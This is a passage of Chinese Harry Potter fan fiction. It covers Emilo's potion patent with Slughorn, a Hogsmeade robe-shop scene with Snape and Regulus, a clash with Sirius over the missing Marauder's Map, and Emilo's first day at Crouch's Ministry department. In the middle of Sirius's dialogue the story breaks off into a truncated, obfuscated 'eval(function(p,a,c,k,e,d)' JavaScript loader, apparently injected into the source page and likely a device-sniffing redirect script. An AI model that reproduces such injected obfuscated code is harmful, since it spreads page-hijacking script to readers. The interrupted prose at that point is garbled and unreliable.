他在笔记本的空白页上,用清晰有力的笔迹写下:“现在也不晚,不是么?”旁边压着亚瑟·韦斯莱写给他的回信。信中絮叨着莫莉的念叨、三个精力旺盛的男孩的趣事,也夹杂着对他关于血缘追踪魔法核心问题的耐心解答——这种深植于古老纯血家族的传承魔法有其独特的保护机制和血脉烙印,外人想要完美复刻极其困难,就像用麻瓜的扳手去拧妖精锻造的螺丝,结果往往不是滑丝就是扳手断掉。强行模拟只会导致各种意想不到的、甚至危险的后果,只能慢慢来。 与此同时,一笔数额颇为可观的加隆第一次流入了他的古灵阁账户。源头清晰无误地指向斯拉格霍恩教授。老教授似乎铁了心要将他纳入自己精心编织的关系网,在能力范围内提供了最实质性的好处——金钱和名声。埃米洛参与了斯拉格霍恩主导的一项关于高阶缓和剂稳定性的改良研究。整个研究过程枯燥得如同研磨月长石粉末,充满了无休止的重复实验、冗长的数据记录和对细微药性变化的苛刻观察,充斥着斯拉格霍恩对“效率”和“实用价值”的强调。在创新性上,埃米洛自认远不如西弗勒斯那种天马行空、近乎艺术般的魔药直觉。然而,凭借严谨、勤奋和斯拉格霍恩老道的经验指引,结果是成功的——一项新的、能显著延长缓和剂有效窗口期并降低副作用风险的稳定剂配方诞生了。最终的专利文件上,清晰地印着“霍拉斯·斯拉格霍恩”与“埃米洛·德蒙特”的名字。这意味着从今往后,每个月都有一笔虽然不算巨大但绝对稳定的收入,如同涓涓细流,汇入他的古灵阁金库。 接受斯拉格霍恩的“投资”,代价自然是未来需要以某种形式“回报”——或是人脉引荐,或是关键站台,甚至可能是不那么光彩的“帮忙”。但此刻,这笔钱确确实实像移开了压在心头许久的一块巨石,缓解了经济重担。 看着古灵阁寄来的存款通知单,一个念头不受控制地冒了出来:如果西弗勒斯没有加入食死徒……这个机会就会是他的,一样可以帮他把那身洗得发白、袖口磨损的旧袍子换掉?……但是,没有如果。有些裂痕或许还能修补,有些深渊一旦踏入,便再难回头。 距离毕业仅剩两个月时,彼得·佩迪鲁开始频繁地、带着一种近乎惶恐的急切来找埃米洛借课堂笔记。埃米洛压抑着心底不断翻涌的不耐烦,一次次将笔记递给他。但彼得的频率实在太高,几乎每天都要来,而且总是显得心不在焉、手足无措,眼神闪烁不定。终于,在一次彼得又期期艾艾地开口,前言不搭后语地询问古代如尼文的某个冷僻变体时,埃米洛的忍耐到了极限,语气生硬地打断了他:“去找莱姆斯。他的笔记更全,而且他就在公共休息室。” “哦——对,对,对不起,埃米洛,我……我脑子有点乱。”彼得像是被针扎到一样猛地缩回手,脸上瞬间堆满了窘迫、慌乱和一种难以言喻的愧疚,连连鞠躬道歉,语无伦次。他转身想离开,动作却异常笨拙,身体在狭窄的宿舍过道里猛地一扭,胳膊肘重重地带倒了埃米洛书桌边缘高高摞起的一摞厚重的参考书和卷起的羊皮纸卷轴—— 哗啦!轰隆! 如同雪崩般的巨响!书本、卷轴、墨水瓶、羊皮纸如同决堤的洪水般倾泻而下,瞬间淹没了埃米洛书桌前的空地,墨汁溅得到处都是。 “对不起!对不起!埃米洛!我真的不是故意的!我发誓!”彼得吓得脸如白纸,声音带着哭腔,手忙脚乱地想要去捡,却一脚踩在了一卷摊开的《高级魔咒原理》上,滑了一跤,差点又带倒另一摞书。 “虫尾巴!你七年级了怎么走路还跟刚学会走路似的,到处乱撞!”小天狼星充满调侃和戏谑的声音从门口传来,他和詹姆勾肩搭背地刚回到宿舍,正好目睹了这混乱的一幕。 “没事吧,彼得?”莱姆斯反应最快,立刻上前扶起狼狈不堪、几乎要哭出来的彼得,温和地询问。 詹姆二话不说,也蹲下来帮埃米洛收拾狼藉,动作麻利。“嘿,伙计,你书也太多了,我早就想吐槽……”他试图用玩笑缓和气氛,伸手去捡一本封面华丽的《隐形术的隐形理论》。那本书在被触碰的瞬间,仿佛受到了极大的惊吓,“噗”地一声轻响,把自己彻底隐形了,只留下一个书本形状的空白区域。詹姆的手抓了个空,哭笑不得。他又试图拿起一本封面画着獠牙的《会咬人的咒语集》,结果那本书猛地张开“嘴”,狠狠咬住了他的手指!“嗷!该死的!”詹姆甩着手,痛呼出声。小天狼星爆发出一阵大笑,莱姆斯也忍俊不禁,连惊慌的彼得都忍不住抽了抽嘴角。四个人手忙脚乱地在墨迹、隐形书和咬人咒语书的捣乱下,气喘吁吁地把散落的东西归拢。 “你在研究追踪咒?”混乱中,詹姆眼尖地捡起一本摊开的、边缘被墨汁染黑的厚重笔记本。由于里面夹着亚瑟·韦斯莱那封详细讨论血缘魔法核心限制的信件,笔记本正好翻到了记录着极其复杂的追踪咒符文推演和魔力流向模拟图的那一页。那些符文古老而晦涩,推算过程缜密得令人心惊。詹姆一眼就认出了这个咒语的类型。他的声音瞬间失去了玩笑的轻松,带着一丝不易察觉的紧绷和锐利。 小天狼星脸上戏谑的笑容僵住了,莱姆斯扶着彼得的手顿在了半空,所有人的目光都聚焦在埃米洛和詹姆手中那本摊开的笔记本上。 “研究着玩而已。NEWTs压力大,找点偏门东西分散注意力。”埃米洛的声音平静无波,听不出丝毫波澜。他伸出手,从詹姆手中拿回了笔记本,随手将它放在整理好的一摞书上。 “哦……也是,”詹姆站起身,拍了拍手上沾到的墨迹和灰尘,语气听起来像是恢复了平常,但那双藏在眼镜后的褐色眼眸深处,却残留着一丝难以消散的审视和疑虑,“毕竟你之前还研究过那些枯燥得能让人睡着的法律发条和部里规章,”他试图用玩笑掩饰那份尖锐,“我有一段时间真觉得分院帽在你身上犯了天大的错误,你应该分去拉文克劳塔楼才对。”他的语调带着惯常的调侃,但那探究的目光却像细针,让埃米洛感到一丝不易察觉的刺痒。 “但我喜欢格兰芬多。”埃米洛简短地回答,将原因归结于詹姆家中的变故。他背过身去,继续整理其他散落、沾着墨点的羊皮纸。 “嗯……是啊,“哪个学院能有格兰芬多这么……有意思呢?”詹姆应到,帮他把书重新搬到桌子上面。 17.三个人个三 六月,距离毕业和NEWTs只有一个月的时候,空气中弥漫着紧张与告别的气息。埃米洛去了一趟霍格莫德。说来实在惭愧,这是他第二次造访这个巫师村落。三年级是他唯一有父母签字的许可信的一年。之后,一切急转直下——家庭变故,经济困顿,连同那份探索校外世界的心情也一并沉入了冰冷的湖底。四年级到六年级,他从未向麦格教授提出使用那份她曾主动给予的特权——帮他签那封许可信。因为没有闲钱支付任何一份糖果或饮料,他每一个铜纳特都精打细算,担忧着母亲医疗费和庞大的债务。 他这次来是想要来张罗一件礼服——为了不久后的毕业舞会。 五年级 OWLs 考试后也有一场庆祝舞会,他缺席了。考完最后一门就被庞弗雷夫人紧急送去了圣芒戈。即便当时没有这意外,他大概也不会参加。但这次他犹豫了一下,还是准备参加。这是霍格沃茨的终点,是学生时代的最后一次集体告别。他想,至少该给自己留下一点……美好的记忆,一点属于“结束”的仪式感。 服装店的门铃清脆地响起。店内光线明亮,衣架林立,挂满了各式各样华贵的礼服长袍。空气里漂浮着新布料特有的气息和淡淡的熏香。埃米洛的目光扫过一排又一排,指尖无意识地拂过丝滑或挺括的面料。触感冰凉,而标价牌上的数字却带着灼人的温度——每一件都十分不菲。 他的思绪飘回了童年时代的对角巷,飘回了摩金夫人长袍专卖店。那位总是笑眯眯、带着顶针的夫人,总是坐在门前的摇椅上对他笑,让他过去玩。比起母亲艾莲娜和德蒙特先生,摩金夫人更慈祥,更有趣。她会教他如何缠绕五颜六色的毛线球,允许他踩动那架古老的脚踏缝纫机。 他总在嗡嗡声中沉沉睡去,醒来时发现自己蜷在装毛线的藤筐里。那些午后,充满了阳光和毛絮的温暖味道。如今呢?和霍格莫德许多店铺一样,摩金夫人的店门紧闭。伏地魔的阴影笼罩下,对角巷的繁华凋零如秋叶。要多少年才能重现?埃米洛心中有一丝沉甸甸的惘然。 “要选礼服吗,先生?”一个充满活力的声音打断了他的沉思。一个头发挑染着夸张彩虹色、举止略显浮夸的年轻店员不知何时凑到了他身边。店员热情得近乎强势,不由分说地将他引向另一排衣架:“来试试这一排吧!相信我,这种带着流光暗纹的面料简直是为您量身定做的!”他拿起一件深蓝色的礼服,不由分说地往埃米洛身上比划,嘴里滔滔不绝:“哦,别觉得高调!您的头发有着暗夜般深邃的光泽,眼睛如此明亮有神——仿若最澄澈的冰山水……我发誓它能完美衬托您的气质!” 埃米洛甚至没来得及看清款式,就被店员半推半就地将那件深蓝色的礼服上身试穿。 “等等,”埃米洛皱眉,手指触到后背一片冰凉的空气,“为什么……背后是镂空的?”他抖了抖那件布料明显节省的设计,语气带着难以置信的困惑。 “这正是今年的最新风尚,先生!”店员翘着兰花指,一脸“你懂什么”的表情,“毕竟,优秀的男士也需要展现一点点的……sexy,不是么?毕业晚会可是展示魅力的绝佳舞台!” “不,”埃米洛斩钉截铁地拒绝,试图将衣服脱下来,“我需要一套……能在毕业晚会后,进入工作时也能穿的正装。实用,得体,不过分张扬。”他强调着自己的需求,希望对方能理解。 “我明白!我明白!”彩虹头店员连连点头,但眼神依旧闪烁着对“艺术”的狂热,“哦,舞会!这让我想起我在拉文克劳的美好时光……”他完全沉浸在自己的回忆和推销激情中,根本没认真听埃米洛的话,又迅速抽出另一件,“这件呢?深邃的午夜蓝配棕色皮带,沉稳大气!或者这件白色中长款?您的身高绝对能撑起这气场……” “我不需要……”埃米洛的拒绝再次被淹没。店员像是找到了灵感缪斯,不由分说地将一套看起来更“正常”但配件繁复得惊人的藏青色西服塞进他怀里,热情洋溢地将他推进了试衣间,“还有这套!都试试吧!绝对符合您的要求!” 狭小的试衣间里,埃米洛看着怀里堆叠的衬衫、马甲、外套,以及一堆他叫不上名字的金属小玩意儿——衬衫夹、袜夹、链条状的装饰胸针、袖扣、领带夹……男士的衣服什么时候也变得如此复杂? 他耐着性子,按照模糊的记忆和逻辑尝试穿戴。但腿上那条该死的袜带(或者别的什么带子)仿佛在跟他作对,无论怎么扣都感觉松松垮垮,随时要滑落。梅林在上!埃米洛自认耐心远超常人,此刻也感到了久违的烦躁,额角渗出细密的汗珠。这简直比解一道复杂的古代如尼文题还要折磨人。 “不好意思,您能帮我……”他实在无法搞定,皱着眉,略显狼狈地拉开试衣间的帘子探出头寻求帮助。 话音戛然而止。 帘子外,两双眼睛正盯着他看——西弗勒斯·斯内普和雷古勒斯·布莱克。 西弗勒斯那双深黑的眼睛像淬了冰的刀片,上下扫视着埃米洛此刻只穿了衬衫、光着脚、腿上挂着未扣紧袜夹的窘迫模样,嘴角勾起一抹毫不掩饰的讥诮:“这算什么?格兰芬多全新的裸奔行为艺术?品味真是……独树一帜。”他的目光刻意停留在埃米洛裸露的脚踝上。 尴尬如同冰冷的潮水瞬间淹没全身。埃米洛深吸一口气,语气尽量保持平静:“如果你还有一点基本的同情心,麻烦帮我叫一下店员。” “哦,店员?”西弗勒斯拖长了调子,下巴朝雷古勒斯的方向一点,“很不巧,那位热情的‘艺术家’去仓库帮这位尊贵的布莱克先生找衣服了。”他顿了顿,目光重新聚焦在埃米洛身上,带着一种居高临下的审视,“不过,看来我们新兴的魁地奇明星遇到了点小麻烦?但如果你肯放低姿态,诚恳地‘请求’我一下……”他故意停顿,欣赏着埃米洛紧绷的脸色,“说不定我会大发慈悲,施舍一点帮助?” “够了,别说了,去帮他一下。”雷古勒斯的声音响起,带着布莱克家族特有的矜持。他直接伸手,把西弗勒斯和埃米洛一起推回了试衣间,“有碍观瞻。把帘子拉好。” 狭小的空间里,只剩下埃米洛和被迫跟进来的西弗勒斯。气氛压抑得令人窒息。 “……”西弗勒斯与埃米洛在狭小的空间里沉默对视,三面巨大的镜子反射着彼此紧绷的身影,让视线无处安放。埃米洛只能盯着西弗勒斯脑后那束不听话滑落下来的黑发。 “你什么时候学会摆弄这些的?今年?还是去年暑假?”埃米洛问道。下意识的,他抬手想帮西弗勒斯把那缕碍事的头发别回耳后——就像很久以前,他替艾莲娜做的那样。 “别碰我!”西弗勒斯反应激烈得像被毒蛇咬了一口,猛地打掉埃米洛的手:“再敢动一下,你这双手就别想要了!我警告你!” 或许那位拉文克劳店长的“艺术”确实过于超前,又或许是西弗勒斯也还没适应这种属于上流社会的精细活计。埃米洛带着一种近乎冷酷的“欣赏”,看着西弗勒斯蹲在自己脚边,笨拙地跟那条顽固的袜带搭扣搏斗。 他苍白的额头渐渐渗出细密的汗珠,呼吸变得粗重,眉头紧锁,脸色越来越阴沉,仿佛手中摆弄的不是一个搭扣,而是某个需要被拆解的黑魔法机关。最终,挫败感和被愚弄的愤怒让他彻底失去了耐心。他猛地站起身,带着一身低气压,气急败坏地一把掀开帘子,将外面正悠闲坐在椅子上等待的雷古勒斯·布莱克拽了起来。 “你去帮他弄好!大少爷!”西弗勒斯几乎是低吼出来,用力抹了一把额头的汗,那双黑眼睛里憋屈的怒火简直要把整个店铺连同里面的人都烧成灰烬,“这该死的发明!” 雷古勒斯被拽得一个趔趄,他皱着眉头整理了一下被扯歪的衣领,灰眸扫了一眼暴躁的西弗勒斯,又看向试衣间里悠闲的埃米洛,嘴角似乎极轻微地撇了一下,带着点“看吧,我就知道”的意味。他没有立刻动作,反而慢悠悠地对西弗勒斯说:“你刚才说……要诚恳地‘请求’?”他挑了挑眉,语气带着一丝不易察觉的揶揄。 西弗勒斯的脸更黑了,嘴唇抿成一条锋利的直线,胸膛起伏着,显然在极力克制。 雷古勒斯没再继续刺激他,转身走进了试衣间。“学长,又见面了。”他对埃米洛点了点头,语气平淡无波,听不出情绪。他垂眸,冷静地观察着埃米洛腿上那个让西弗勒斯抓狂的搭扣。几秒钟后,他伸出苍白修长的手指,在搭扣边缘某个不起眼的卡榫上轻轻一按,再向侧面一滑,动作精准而利落,带着一种从小被训练出来的、处理复杂服饰的从容不迫。 “好了。”他将搭扣调整到一个舒适的长度,声音依旧没什么起伏。 “谢谢你了。”埃米洛松了口气,这份帮助虽然来自斯莱特林,但至少高效且没有附带精神折磨。 “不客气。”雷古勒斯似乎还想说什么,目光在埃米洛身上那套深色西服上停留了一瞬。 就在这时,试衣间的帘子被猛地掀开,西弗勒斯像一只受惊的蝙蝠,以惊人的速度挤了进来,并且迅速反手拉严了帘子! “你怎么……”埃米洛和雷古勒斯同时愕然。 “闭嘴!都别出声!”西弗勒斯厉声低喝,一手甚至捂住了离他最近的埃米洛的嘴。他的脸色异常难看,眼神锐利地示意着外面,带着一种混合着厌恶和紧张的复杂情绪。 三个手长脚长的少年,挤在一个原本只设计给一两人使用的狭小试衣间里,空气瞬间变得稀薄而灼热。肢体不可避免地碰撞、摩擦,彼此的呼吸声清晰可闻。埃米洛感觉自己的脚被谁重重踩了一下,疼得他倒吸一口凉气,又被西弗勒斯警告的眼神硬生生憋了回去。 我们究竟在干什么?雷古勒斯的眉头拧成了疙瘩,无声地用眼神质问着西弗勒斯,脸上写满了荒谬和一丝被冒犯的愠怒。西弗勒斯只是狠狠瞪了他一眼,示意他噤声。 “——你真的觉得这件更适合我吗?”一个清脆悦耳、带着笑意的女声清晰地穿透了帘子,传了进来。 是莉莉·伊万斯。 埃米洛和雷古勒斯的目光瞬间像探照灯一样聚焦在西弗勒斯瞬间僵硬、血色尽褪的脸上。 “当然,莉莉!你要相信我的眼光!”詹姆的声音紧接着响起,“呃……但是如果你喜欢那件绿色的,我们也可以买那件!梅林啊,我觉得你穿这家店所有的礼服都会好看得让人移不开眼!不如我们都买了吧?以后不同的场合换着穿……”他的声音里满是恋爱中男孩的傻气和豪气。 “瞎说什么呢!”莉莉的声音带着嗔怪,大概是轻轻打了詹姆一下。 “你觉得搭配一条什么样子的项链好?哎呀,我喜欢这条翡翠的,这个绿色好漂亮,像禁林里雨后新发的叶子!” “我觉得这条更好看呢……”詹姆的声音温柔下来,“白色的珍珠,下面坠一颗小小的红宝石,正好衬你的头发,像火焰一样。” 两个人就“礼服颜色”、“项链款式”甚至“袖口该不该绣暗纹”这些话题,你一言我一语地磨蹭了好一阵子。话语间流淌着热恋情侣特有的甜蜜、琐碎和旁若无人的亲昵。埃米洛只觉得尴尬像藤蔓一样缠绕上来,偷听室友和女朋友如此私密的互动,实在不是一件令人愉快的事。他只想立刻出去,结束这荒谬的“囚禁”。 “你们两个能不能快一点!”另一个充满不耐烦的、磁性的男声说出了埃米洛的心声。是小天狼星·布莱克!看来他们是三人行。“我们不是说好了还要去佐科笑话商店的吗?再磨蹭下去,新鲜玩意儿都被低年级抢光了!”他的抱怨声伴随着身体靠在沙发上的轻微响动。 试衣间里,埃米洛和西弗勒斯的目光再次不约而同地投向雷古勒斯。雷古勒斯的面色依旧维持着布莱克式的平静无波,像一张完美的面具。但埃米洛敏锐地注意到,他灰色的眼睛微微动了一下,手指极其轻微地、几乎是下意识地,将厚重的帘子拉开了一条几乎看不见的缝隙,目光飞快地向外扫了一眼,又迅速收回。 看来这对兄弟的关系,并非像传闻中那样彻底决裂,或者至少,雷古勒斯并非全然不在意。埃米洛抱着手臂靠在冰冷的镜面上,心中暗忖。最初的尴尬褪去,此刻他反而觉得眼前这荒诞一幕有了一丝黑色幽默的意味。两个斯莱特林,一个格兰芬多,挤在狭小的空间里,被迫偷听凤凰社成员们谈话。 “呃……再等一下,大脚板。”詹姆的声音听起来有点窘迫,像个努力端水的渣男,“你不是也要买礼服吗?你选好了?这么快?那正好,你买好了就帮我也看看吧?我相信你的眼光”他试图把麻烦转移。 “你真麻烦,尖头叉子。”小天狼星抱怨着,但衣架被拨动、衣服被拿起放下的声音暴露了他确实站了起来,开始履行“参谋”的职责。 “这个吧!”小天狼星的声音突然拔高,带着发现新大陆般的兴奋,“这件!露背的!绝对惊艳全场!够大胆!够特别!”他描述的款式,埃米洛几乎立刻确定就是彩虹头店员最初硬塞给他试穿的那件惊世骇俗之作。 “不行!小天狼星!”莉莉的声音斩钉截铁,带着不容置疑的权威,“你给他找一件正常的!还有,你自己也绝对不许买这种!想都别想!……等等,莱姆斯和彼得也不行!”她仿佛预见到了劫盗者四人组穿着同款露背礼服招摇过市的恐怖场景。 “你真没意思,莉莉。”小天狼星的声音瞬间蔫了下去,充满了扫兴的意味。 短暂的沉默后,莉莉的声音再次响起,带着一丝犹豫和新的想法:“……你等一下,把那件衣服拿过来我仔细看看。”她似乎对那件露背礼服又产生了某种奇异的兴趣。 “不会是……”詹姆的声音带着点迟疑。 “埃米洛!”莉莉和詹姆几乎是异口同声地喊出了这个名字。 试衣间内,突然被点名的埃米洛只觉得一股热血直冲头顶,瞬间有种想用头撞穿面前镜子的冲动。旁边的两个斯莱特林——西弗勒斯和雷古勒斯——此刻也将目光齐刷刷地投向他,脸上那绝非善意的、混合着幸灾乐祸和“果然如此”的讥诮笑容,比任何恶咒都更具杀伤力。 “……你说,我们真的不再尝试跟他谈谈了吗?”莉莉的声音压低了,带着一丝忧虑和不甘,“他是不赞同不可饶恕咒的,我们都能确定这个。现在魔法部的立场也很明确了……他应该会认同……我们的理念才对。”她隐去了那个敏感词(凤凰社),但意思不言而喻。 “嗯……之后有机会再说吧。”詹姆的声音听起来有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他似乎感觉到了莉莉和詹姆不认同的目光,补充道,“但你怎么解释他和那些注定会加入食死徒的人混在一起呢?在你都跟鼻涕精决裂后。(西弗勒斯发出一声极轻的冷哼),还有上个月……我们的活点地图失踪了,翻遍了整个宿舍和所有秘密通道都找不到。詹姆对我说别怀疑他,但他就是最可疑的!我们宿舍难道会突然闹鬼不成?另外,据我所知,他和低年级某些‘特定圈子’有交易……在学校里贩卖过庞弗雷女士不愿意提供的高阶药剂。而很‘凑巧’的是,就在我们的地图消失之后——他突然就有钱了。” “别说了,小天狼星!”詹姆的声音听起来疲惫而无力,“我们没有证据。” “怎么没有证据?”小天狼星的声音陡然拔高,带着一种咄咄逼人的气势,“他笔记本里记录的那些追踪咒——那些符文的推演逻辑和魔力流向模拟图!跟活点地图的核心魔法是同源的!除了深入研究过这种极其偏门、源自古老家族传承的追踪魔法,并且试图破解或复刻,谁会去记录得那么详细?这难道不是最直接的证据吗?” 莉莉和詹姆陷入了沉默,小天狼星“笃笃”的敲着椅子的扶手。试衣间内,埃米洛的拳头狠狠握紧,指甲几乎要嵌进掌心。然后,他猛地松开手,仿佛卸下了千斤重担。他不再犹豫,不再等待。他面无表情地、迅速地穿上裤子和鞋,动作利落得带着一种决绝。 下一秒,他一把拉开了试衣间的帘子,大步踏了出去。带上了帘子,隔绝了里面两个斯莱特林。 “你既然这么怀疑我,”埃米洛的声音不高,却像冰锥一样寒冷锐利,清晰地穿透了店铺里残留的甜蜜空气,直接钉在小天狼星脸上,“为什么不在宿舍当面问我?” 整个店铺瞬间陷入死寂。空气仿佛凝固了。 莉莉担忧、詹姆尴尬又无措、小天狼星依旧浑不在意甚至带着挑衅的漠然…… “追踪咒语是我同事教我的。”埃米洛的声音平稳得可怕,每一个字都像冰珠砸在地上,“《实用魔药大师》周刊最新一期第17页,刊登了霍拉斯·斯拉格霍恩教授和我联合署名的高阶缓和剂稳定剂改良专利。古灵阁的每一笔专利金都合法合规、来源清晰。” “在随意给人扣上‘小偷’和‘奸商’的帽子之前,麻烦你动动你那被巨怪踩过的脑子,布莱克。别像只缺乏管教的疯狗一样,只会凭着臆想和偏见逮谁咬谁。” 他深吸一口气,视线扫过詹姆和莉莉,最后落回小天狼星身上,语气带着彻底的失望和一种宣判般的冷酷:“我根本不知道你们做了什么东西,又是怎么丢的。但现在看来,它的丢失绝对源于你们一贯的粗心大意和狂妄自大。需要我帮你回忆一下这几年,你因为鲁莽冲动惹下多少麻烦,丢过多少小东西吗?需要我数吗?” 莉莉想开口说些什么,詹姆嘴唇动了动,最终却只是低下了头,像被霜打蔫的植物。他们都还在尴尬的宕机中……我在期待什么?埃米洛心中一片冰凉。詹姆是小天狼星的兄弟,莉莉同他们都是凤凰社。他们才是一体的。 就在这时,那位去仓库翻箱倒柜的彩虹头店员终于抱着一堆衣服回来了,脸上还带着找到“宝藏”的兴奋:“先生!您要的复古款我找到……咦?那位先生走了?” “我要身上这件。”埃米洛打断他,声音恢复了平日的冷静,却多了一丝疲惫。他指向自己身上那套藏青色的正装西服。 店员愣了一下,随即被埃米洛干脆的态度感染:“好的先生!没问题!这套非常适合您!我帮您包……” “不用包,我直接穿走。”埃米洛利落地掏出钱袋,“一次性付清。” 店员被他干脆利落的态度弄得有点懵,但很快反应过来,迅速结清了款项。 埃米洛没有再看任何人一眼,挺直脊背,大步流星地走出了服装店。 霍格莫德六月的阳光,毫无遮拦地倾泻下来,异常刺眼。埃米洛只觉得眼睛一阵酸涩的疼痛。 “埃米洛!”身后传来急促的脚步声和詹姆的喊声。 埃米洛脚步未停。 “等等!埃米洛!”詹姆追了上来,拦在他面前,脸上带着愧疚和急切,“对不起!小天狼星他……他有时候说话不过脑子,你知道的,他……” “他不重要。”埃米洛停下脚步,目光平静地直视着詹姆,清晰地打断了他的解释。让詹姆所有准备好的话都哽在了喉咙里。 “我是解释给你听的。”他的声音很轻。这句话里蕴含的伤心让詹姆难受,他仿佛瞬间被抽空了力气,僵在原地。 埃米洛又深深地看了詹姆一眼,那目光复杂难辨,包含了太多詹姆此刻无法解读的情绪。“我走了。”他扬了扬手,动作带着一种刻意的洒脱,转身欲行。走出两步,又像想起什么似的停下,没有回头,声音清晰地传来:“对了,帮我跟莉莉说一声,我不会加入……你们知道的那个组织。不必再费心了。” 说完,他不再停留,大步朝着通往霍格沃茨上车的方向走去。 就这样吧。埃米洛疲惫地想,任由那刺眼的阳光灼烤着自己的脸。六年半的疏离,半年的短暂缓和……终究还是错过了。这大概,就是我学生时代最后的注脚了。阳光将他孤直的背影拉得很长,学生时代在此落下带着风声的终章。 18.一些新生活 清晨的魔法部法律执行司办公室,空气还带着夜晚残留的清冷。埃米洛是第一个到的。他脱下熨帖的灰色长袍外套,露出里面一丝不苟的深色三件套西装,袖口平整地翻折在手腕上方一寸。 他走到窗边,用魔杖轻轻一点,厚重的窗帘无声滑开,熹微的晨光透进来。他先是将散乱的羊皮纸页按照时间戳和逻辑顺序严格对齐,用咒语确保每一页的边缘都精确重合。接着拿起特制的魔法羽毛笔——笔尖能感知墨迹的新旧和魔法印记的强度——在每页右下角精准地标注上页码。随后抽出一张质地坚韧的羊皮纸,开始制作目录。条目名称、对应页码、关键证据标记(如“证言A”、“魔咒残留B”)都分门别类,层级分明。最后是装订:用带有魔法锁扣的硬质卷宗夹,将整理好的材料小心放入,用特制的黄铜钉沿着边缘均匀钉入,再用一个微小的固定咒语加固。 做完晨间的日常工作,他起身走向角落的咖啡台。没有选择魔法速溶咖啡粉,而是拿出一个手工研磨器,将深褐色的咖啡豆仔细研磨成细粉,倒入一个银色的小巧法压壶,注入滚烫的清水。片刻后,一杯散发着浓郁焦苦气息、颜色近乎墨黑的“无敌浓缩咖啡”完成了。 他端着杯子走回座位,满意的抿了一口,感觉整个人活了过来。 “早上好,埃米洛。”办公室的门被推开,阿米莉亚走了进来,她敏锐的鼻子立刻捕捉到了空气中的异样,眉头习惯性地蹙起,形成一个深刻的川字纹:“好重的咖啡味道。” “用于续命。”埃米洛简短地回答,视线没有离开桌上刚摊开的一份投诉卷宗,只是抬手又啜饮了一口那墨汁般的液体。过了几秒,他才像想起什么似的,抬眼看向阿米莉亚:“要来一杯吗?” “加糖加奶,谢谢。”阿米莉亚把随身携带的公文包放在桌面上。她刚坐下,甚至还没来得及整理衣摆,一张被施了简单漂浮咒的小纸条就精准地滑到了她面前。纸条上只有三个字:“九点半。2号厅。”落款是一个潦草的“C”。 “又开会。这个礼拜第三回,而今天才周三。”她疲惫地捏了捏眉心。 埃米洛端着加好糖奶、颜色变得温和一些的咖啡走过来,轻轻放在阿米莉亚桌角一个不会干扰文件的位置。“投诉太多了。”他陈述了一个客观事实。 “是啊,”阿米莉亚用指关节敲了敲桌上堆积如山的文件山,“傲罗授权法令的弊端开始大规模显露了。伤亡、财产损失、误伤……但不能对大众公布这些细节引发恐慌,所以所有的善后、核查、驳回……这些最吃力不讨好的工作,全都堆到我们这里来了。”她的声音里透着一丝沉重和无奈。 办公室逐渐热闹起来,埃米洛和阿米莉亚结束了短暂的闲聊,各自回到工位。埃米洛拿起一份关于“被疑似钻心咒惊吓导致宠物猫头鹰撞墙”的投诉,快速浏览了陈述和证据链,眉头都没动一下,在卷宗封面的处理意见栏写下了结论性的判决:“投诉证据不足,缺乏魔咒残留及可靠目击证词。傲罗行为符合《紧急授权法》第7条第3款豁免条款。理赔申请予以驳回。” 旁边工位的同事,一个头发有些蓬乱、眼圈发黑的年轻男巫,正烦躁地抓着一份更离谱的投诉书(内容涉及声称被“无声无息”的夺魂咒控制购买了大量无用的魔法羽毛笔),忍不住低声抱怨道: “梅林的胡子!感觉这些人是专门来找事的!现在随随便便一个不可饶恕咒的‘感觉’都能成为他们来申请赔偿的金加隆了!那我是不是应该给自己来一个夺魂咒,然后我就能发财了,不干这份傻逼工作了?”他越说越激动,声音不自觉拔高:“你看看其他部门!神奇动物管理控制司都快闲得去数地精了!就我们!天天加班!文件堆得能埋人!” “别说话了!司长来了!”另一位年长些的女同事压低声音,急促地提醒他,眼神紧张地瞟向门口。 办公室瞬间陷入一片刻意制造的寂静,只剩下羽毛笔划过羊皮纸的沙沙声,以及远处一台老旧魔法传真机发出“啪啪”的、有节奏的吐纸声,单调得令人心慌。 巴蒂·克劳奇特有的、坚硬皮鞋跟敲击大理石地面的“咔哒”声在公共办公区的门口响起。埃米洛端起那杯已经微凉的浓缩咖啡,抿了一小口,同时他抬起眼,目光投向门口。 司长今天不是一个人来的。他身边站着一个年轻人。 小巴蒂·克劳奇站在他父亲身侧半步的位置,身姿挺拔,维持着一种不卑不亢的姿态。他的金发依旧整齐,用发胶固定。系着和老克劳奇一样一丝不苟的领带。只是,他身上那套剪裁合体的深灰色西服套装,比起他父亲标志性的、一丝褶皱也无的黑色正装,似乎选择了一款面料稍软、款式略休闲的。 “各位,”克劳奇司长那如同金属摩擦般冷硬的声音在安静的办公室里响起,带着一种公式化的威严,“介绍一下。我的儿子,巴蒂。” 办公室里陷入了一种尴尬的沉默。同事们你看我,我看你,眼神里充满了茫然、惊讶和一丝不易察觉的戒备——这位“太子爷”突然出现在魔法部核心部门,意欲何为? 埃米洛面无表情,第一个抬起手,节奏均匀、力道适中地鼓了三下掌。这像是一个信号,其他人才如梦初醒般,稀稀拉拉、带着犹豫的掌声才跟着响了起来,很快又沉寂下去。 “乔金斯呢?”克劳奇锐利的目光扫视全场,眉头习惯性地锁紧,形成一个深刻的刻痕——伯莎今年因近乎神奇的记事儿能力而被提拔到克劳奇身边担任私人助理。 “司长,您找我。”一个略带喘息的声音响起。伯莎的身影突然从侧门闪现出来,额头上带着一层细密的薄汗,显然是一路小跑赶来的。埃米洛垂下眼帘,几乎可以肯定,乔金斯学姐今天又是卡着点、甚至可能迟到了一分钟才进入魔法部大门的。 克劳奇的眉头锁得更紧了,下颌线绷紧,显然对下属这种不够“严谨守时”的行为极其不满。但他强压下了斥责的冲动,显然眼下有更重要的事。他伸出手,用力地拍了拍小巴蒂的肩膀(那动作与其说是亲昵,不如说更像是一种定位或强调),然后侧头对伯莎快速而低声地嘱咐了几句。伯莎连连点头,随即对小巴蒂做了一个“请”的手势,领着他快步离开了法律执行司的公共区域。 “德蒙特。”克劳奇的目光精准地落在埃米洛身上,叫了他的姓氏,语气不容置疑,“你来一下。”说完,他转身径直走向自己的独立办公室,没有回头确认埃米洛是否跟上。 埃米洛平静地拉开椅子站起身,整理了一下本就平整的西装前襟,步履沉稳地跟在克劳奇司长身后。 